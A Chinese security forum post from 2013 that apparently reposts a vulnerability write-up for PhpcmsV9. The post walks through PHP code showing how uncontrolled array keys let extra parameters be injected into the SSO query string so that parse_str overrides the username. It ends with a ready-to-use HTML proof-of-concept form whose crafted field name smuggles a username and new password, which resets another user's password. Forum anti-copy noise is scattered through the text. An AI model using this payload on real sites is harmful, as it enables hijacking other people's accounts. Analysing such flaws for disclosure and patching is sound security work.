找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2183|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
' O! K; F0 Z! ]- E) O8 R3 H( L7 N5 |) O

  q; R% }/ s, U' w& ~parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
3 v" Y2 D' ^9 Q! L
6 s! i0 v) i! S# o3 X在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。9 `6 m1 h- L# Y" ]. k9 Q& {5 g

$ D5 j/ w+ \1 M& q我把它留给了你们。
: J$ K$ {; ]$ _8 G不知道你们发现了它没有。: E( Z' ]6 o/ l9 P* O& `4 h8 C( @6 B5 m
7 \* g( ]: S( K
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。4 K9 z) s( c& H  T2 N

/ R; V" `3 r* Q3 N所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
, s' O5 E( |4 U$ X1 e4 F% a  c3 m2 @1 H( E
也就是0 B2 V8 Y+ x) a# y

# s+ ~1 _: W- C1 k. U, N3 jusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。, r5 S( w9 E* @3 T+ T

( U2 ~1 U4 x, F要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。& e7 j2 {% u8 k/ z2 z* C5 F& D+ R6 z

& r; G" {) Y1 {, _& {( }) B9 a5 \1 u2 s. C! c
其实我们有这样的机会,看看代码,如下:3 c1 ?9 g7 N) a) e) v6 q3 f

- u9 v; H8 h, b+ U5 T6 v8 j0 v
8 \- O( y( w5 n, O; mpublic function auth_data($data) {
$ P3 D1 L8 Z$ z; S! c6 a( ~9 Y                $s = $sep = '';  t4 j. d" g  s6 F, A
                foreach($data as $k => $v) {
# L) M6 d  Z  V# E                        if(is_array($v)) {: \) [1 Z9 s# p" ~" |
                                $s2 = $sep2 = '';" e9 s( w( m( F# j+ I7 s! q$ Q5 l
                                foreach($v as $k2 => $v2) {
9 T7 \& b! H  p* H                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);4 l+ J+ g. Z5 F0 ]3 o$ b
                                        $sep2 = '&';; d2 `9 b. X) h6 f" }: Q
                                }
/ ?2 R2 B& g% I5 n4 k% ~                                $s .= $sep.$s2;
( D! H: u' ?. z  Y  E                        } else {5 S* ^( Z- Z+ J& o  m( z7 C
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
! e* H+ y3 X' R7 y* Z8 `, y                        }; v; W' T' {' `* h  m6 x
                        $sep = '&';
1 d/ @5 y  A3 a  o8 o                }
8 p4 M% u( J* y# j
1 \! P4 a: B9 y2 y                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));: u% {( Y# t% m% B
                return $auth_s;
# N% ^" ]8 y, s1 r3 G5 n2 v        }
3 ^4 W% ~7 p- A0 p' `
* {- [5 r  R( j! @可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
8 T- E. N6 p8 a: h2 ?0 f$ e4 i$ W9 c7 Q8 g$ P
举个例子- v0 b0 s' Y' w
% x# `0 \$ l+ O( ?1 S
$a[aaa=a&bbb] = 'a';
/ x. v4 R: _' w+ o2 M8 \" }
1 u; z* m; C( F1 j0 Q2 \  H; K会变成aaa=a&bbb=a5 T: R7 R; S1 T) V& i% Y. @9 A9 z

. |- z5 h8 E! R5 j明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。, v0 ?& E1 l, {) u  s" e* V

* w8 d1 \' I# i这个时候,我们可以再去看一个函数。
$ h$ y! u8 E0 |; ?: ]* E0 ], ^; v7 X3 @5 \' j: i
就在这个文件内:
' i! f  ~$ D; t4 g* _0 G, j* u6 o! j6 P
: `7 O" q4 p" K' e- Q
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
; Y7 h6 W: c) S3 o( l                if($email && !$this->_is_email($email)) {1 J+ j( Y* q1 `6 {) }
                        return -4;
! N) I" p% }* F- _                }
  Q8 m! t) W, T, H0 h; R+ f                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));1 A% V0 H5 q6 q. o2 N
        }+ F0 |/ u3 S5 w0 S7 p$ Y
5 J4 y( N' j% `& W, P2 {; H
这是向通行证发了这样一个请求。; [  ]7 q- l1 g8 V' q! f
6 E; E, E) p: y6 j4 k; {: {
我们再跟到通信证代码里去看看,就会有所发现。/ _, y; {. [; v! ^% u
! F. M, z  }# T; }. \& J* [

6 k* x5 h% U4 y7 |6 p' \, ypublic function edit() {6 o9 ]* z& V: I( x% d
//能省就省,太长了不是吗?
, G4 l$ ^: j$ K9 m' t! Y* I4 v, ^
7 E9 |. K! O& L# Oif($this->username) {6 _2 L& `) z( e8 f# [
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ A$ z8 ~8 l! r: i. p3 D5 \3 M                                $res = $this->db->update($data, array('username'=>$this->username));- V6 s) s, m6 h  K! I+ m
                        } else {
/ U# ]; n9 D3 k# k& e9 W: R8 V                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
+ Z: f% u+ T6 Y$ K1 Z. R* H                                $res = $this->db->update($data, array('uid'=>$this->uid));
) t5 w1 b. s/ P: O1 h                        }
# s9 V( w: ^' N4 @7 j5 U7 d+ v( B' c
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:" F- f( Y: U& e. \2 z( \, w

; p4 Y. s$ X( m8 j: ypublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; Y5 [& D" B5 h( R2 c! v0 f: ]# i  O5 k
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
0 q; U- N' A- q+ X& a+ y& K  c# s
8 G' o, y2 Q" a, H# \我当然找到了:
; Y" G  N9 p& F, Z0 \8 C& rphpcms9/phpcms/modules/member/index.php+ K# W' `; O: L$ t: u  V

, R; `8 m2 [7 W4 U( H" x+ y$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* E- s+ ]& _* c0 F& u
; @5 z; i5 s! \4 _( H; E然后就没有然后了。- |$ F  D, ?( [! \4 c1 d" ]& }

: f, f' l! k$ E7 c<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
4 ~# ~  r1 O. y4 D- `) Y5 A                                <table width="100%" cellspacing="0" class="table_form">
1 K; W# O( y/ |- A5 e                                        <tr>/ j5 d' z2 A0 ?  M8 n( C
                                                <th width="80">邮箱:</th>        6 u3 m7 E) f* O  J1 v9 C8 E" x. {
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
* y3 {; k2 `8 P5 y+ P5 @* ^' x4 v4 R& U                                        </tr>
( W# }3 ]; T# L9 E( b                                        <tr>' g4 G  y7 j2 \; v4 h$ b
                                                <th width="80">原密码:</th>        
( C% X  p1 K- W% w                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
% {5 A" K$ O- z% ?                                        </tr>
* @8 `5 C* Y* E, P1 {                                        <tr>
4 y/ O0 J& b. V7 H                                                <th>新密码:</th>8 M. N7 V0 {2 u7 U' B6 W
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>& r! j: o7 V' ^' L: v, o) |
                                        </tr>
. ^3 r  P4 F7 V2 B# B                                        <th></th>: Y! M9 [3 U, M! }8 y8 u: n
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
, s$ P5 a( g! m: m8 w1 w                                        </tr>- n, @  r; k0 I% S- u( s# l0 a
                                </table>
' d; m( u# N5 o# O, l  R
9 r& s3 f' y- \, x( u+ u9 q                               
- W: c& ~. V7 n5 a  D                        </form>8 u# I& {6 Q0 j7 G, V1 B8 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表